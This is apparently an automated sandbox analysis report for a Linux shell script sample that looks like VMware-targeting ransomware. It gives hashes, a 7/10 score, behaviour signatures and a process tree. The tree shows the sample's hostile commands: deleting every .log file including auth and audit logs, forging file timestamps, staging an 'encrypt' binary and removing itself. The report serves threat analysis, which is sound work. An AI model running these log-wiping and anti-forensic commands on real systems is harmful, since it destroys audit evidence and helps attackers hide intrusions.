Resubmissions

15-03-2024 16:07

240315-tkykeacf7z 1

25-02-2024 14:29

240225-rtjrhaee9z 10

Analysis

  • max time kernel
    5s
  • max time network
    1677s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240221-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240221-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    25-02-2024 14:29

General

  • Target

    script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh

  • Size

    3KB

  • MD5

    d0d36f169f1458806053aae482af5010

  • SHA1

    e603944aceb5c0885a8627de12f36b159bbf2f05

  • SHA256

    10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459

  • SHA512

    982abe39731d8cc852c25650740ff73975c10d19027eccf610401260e2f508334f1de656f8dd332fa698dccc9f7d3bda610c8b9e84d276036a6e9408d826229a

Score
7/10

Malware Config

Signatures

  • Deletes Audit logs 1 TTPs 1 IoCs

    Deletes logs related to the Linux Audit framework.

  • Deletes log files 1 TTPs 11 IoCs

    Deletes log files on the system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads CPU attributes 1 TTPs 17 IoCs
  • Reads hardware information 1 TTPs 1 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Reads network interface configuration 2 TTPs 12 IoCs

    Fetches information about one or more active network interfaces.

  • Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

Processes

  • /tmp/script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh
    /tmp/script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh
    1⤵
      PID:1488
      • /usr/bin/chmod
        chmod +x /tmp//encrypt
        2⤵
          PID:1499
        • /usr/bin/find
          find /usr/lib/vmware -type f -name index.html
          2⤵
            PID:1504
          • /usr/bin/mv
            mv /etc/motd /etc/motd1
            2⤵
              PID:1505
            • /bin/find
              /bin/find / -name "*.log" -exec /bin/rm -rf "{}" ";"
              2⤵
              • Reads CPU attributes
              • Reads hardware information
              • Reads network interface configuration
              • Enumerates kernel/hardware configuration
              • Reads runtime system information
              PID:1506
              • /bin/rm
                /bin/rm -rf /var/lib/gdm3/.local/share/gvfs-metadata/root-17e68493.log
                3⤵
                  PID:1507
                • /bin/rm
                  /bin/rm -rf /var/log/auth.log
                  3⤵
                  • Deletes log files
                  PID:1511
                • /bin/rm
                  /bin/rm -rf /var/log/kern.log
                  3⤵
                  • Deletes log files
                  PID:1512
                • /bin/rm
                  /bin/rm -rf /var/log/fontconfig.log
                  3⤵
                  • Deletes log files
                  PID:1513
                • /bin/rm
                  /bin/rm -rf /var/log/gpu-manager.log
                  3⤵
                  • Deletes log files
                  PID:1514
                • /bin/rm
                  /bin/rm -rf /var/log/audit/audit.log
                  3⤵
                  • Deletes Audit logs
                  PID:1515
                • /bin/rm
                  /bin/rm -rf /var/log/dpkg.log
                  3⤵
                  • Deletes log files
                  PID:1516
                • /bin/rm
                  /bin/rm -rf /var/log/ubuntu-advantage.log
                  3⤵
                  • Deletes log files
                  PID:1517
                • /bin/rm
                  /bin/rm -rf /var/log/apt/history.log
                  3⤵
                  • Deletes log files
                  PID:1518
                • /bin/rm
                  /bin/rm -rf /var/log/apt/term.log
                  3⤵
                  • Deletes log files
                  PID:1519
                • /bin/rm
                  /bin/rm -rf /var/log/unattended-upgrades/unattended-upgrades-shutdown.log
                  3⤵
                  • Deletes log files
                  PID:1520
                • /bin/rm
                  /bin/rm -rf /var/log/alternatives.log
                  3⤵
                  • Deletes log files
                  PID:1521
                • /bin/rm
                  /bin/rm -rf /var/log/Xorg.0.log
                  3⤵
                  • Deletes log files
                  PID:1522
                • /bin/rm
                  /bin/rm -rf /root/.local/share/gvfs-metadata/home-d4da85ea.log
                  3⤵
                    PID:1569
                  • /bin/rm
                    /bin/rm -rf /root/.local/share/gvfs-metadata/trash:-e5043e0b.log
                    3⤵
                      PID:1570
                    • /bin/rm
                      /bin/rm -rf /root/.local/share/gvfs-metadata/root-7ac72d14.log
                      3⤵
                        PID:1571
                      • /bin/rm
                        /bin/rm -rf /run/initramfs/fsck.log
                        3⤵
                          PID:1572
                      • /bin/rm
                        /bin/rm -f /store/packages/vmtools.py
                        2⤵
                          PID:1708
                        • /bin/touch
                          /bin/touch -r /etc/vmware/rhttpproxy/config.xml /etc/vmware/rhttpproxy/endpoints.conf
                          2⤵
                            PID:1709
                          • /bin/touch
                            /bin/touch -r /etc/vmware/rhttpproxy/config.xml /bin/hostd-probe.sh
                            2⤵
                              PID:1710
                            • /bin/touch
                              /bin/touch -r /etc/vmware/rhttpproxy/config.xml /etc/rc.local.d/local.sh
                              2⤵
                                PID:1711
                              • /bin/rm
                                /bin/rm -f /tmp/encrypt /tmp/nohup.out /tmp/index.html /tmp/motd /tmp/public.pem /tmp/archieve.zip
                                2⤵
                                  PID:1712
                                • /bin/sh
                                  /bin/sh /bin/auto-backup.sh
                                  2⤵
                                    PID:1713
                                  • /bin/rm
                                    /bin/rm -- /tmp/script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh
                                    2⤵
                                      PID:1714
                                    • /etc/init.d/SSH
                                      /etc/init.d/SSH start
                                      2⤵
                                        PID:1715
                                    • /usr/bin/grep
                                      grep "Config File"
                                      1⤵
                                        PID:1493
                                      • /usr/bin/awk
                                        awk "{print \$3}"
                                        1⤵
                                          PID:1494
                                        • /usr/bin/awk
                                          awk "{print \$2}"
                                          1⤵
                                            PID:1498
                                          • /usr/bin/grep
                                            grep vmx
                                            1⤵
                                              PID:1497
                                            • /usr/bin/ps
                                              ps
                                              1⤵
                                              • Reads CPU attributes
                                              • Reads runtime system information
                                              PID:1496
                                            • /usr/bin/awk
                                              awk "-F " "{print \$2}"
                                              1⤵
                                                PID:1503
                                              • /usr/bin/grep
                                                grep /vmfs/volumes/
                                                1⤵
                                                  PID:1502
                                                • /bin/wc
                                                  /bin/wc -l
                                                  1⤵
                                                    PID:1703
                                                  • /bin/grep
                                                    /bin/grep -v grep
                                                    1⤵
                                                      PID:1702
                                                    • /bin/grep
                                                      /bin/grep encrypt
                                                      1⤵
                                                        PID:1701
                                                      • /bin/ps
                                                        /bin/ps
                                                        1⤵
                                                        • Reads CPU attributes
                                                        • Reads runtime system information
                                                        PID:1700
                                                      • /bin/wc
                                                        /bin/wc -l
                                                        1⤵
                                                          PID:1707
                                                        • /bin/grep
                                                          /bin/grep " 7."
                                                          1⤵
                                                            PID:1706
                                                          • /bin/vmware
                                                            /bin/vmware -l
                                                            1⤵
                                                              PID:1705

                                                            Network

                                                            MITRE ATT&CK Enterprise v15

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